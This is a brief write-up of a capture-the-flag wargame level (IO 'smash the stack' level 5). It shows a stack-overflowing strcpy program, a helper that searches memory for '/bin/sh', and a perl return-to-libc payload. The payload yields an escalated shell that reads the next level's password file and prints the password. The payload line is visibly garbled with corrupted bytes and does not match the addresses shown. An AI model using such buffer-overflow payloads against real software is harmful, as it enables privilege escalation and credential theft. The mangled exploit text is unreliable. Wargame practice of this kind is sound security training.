wargame/IO smash the stack
level5
Sanguine
2014. 5. 27. 17:46
summary:simple RTL
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
level5@io:/tmp/sanguine2$ cat whereisshell.c
#include <stdio.h>
main()
{
long shell = 0xb7eaaf10;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;
printf("%x\n",shell);
}
level5@io:/tmp/sanguine2$ ./whereisshell
b7faaad4
level5@io:/tmp/sanguine2$ /levels/level05 `perl -e 'print "a"x140,"\x10\xaf\xeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·aaaaÔªú·
sh-4.2$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(le
sh-4.2$ cat /home/level6/.pass
9BT8fmYDTPimXXhY3m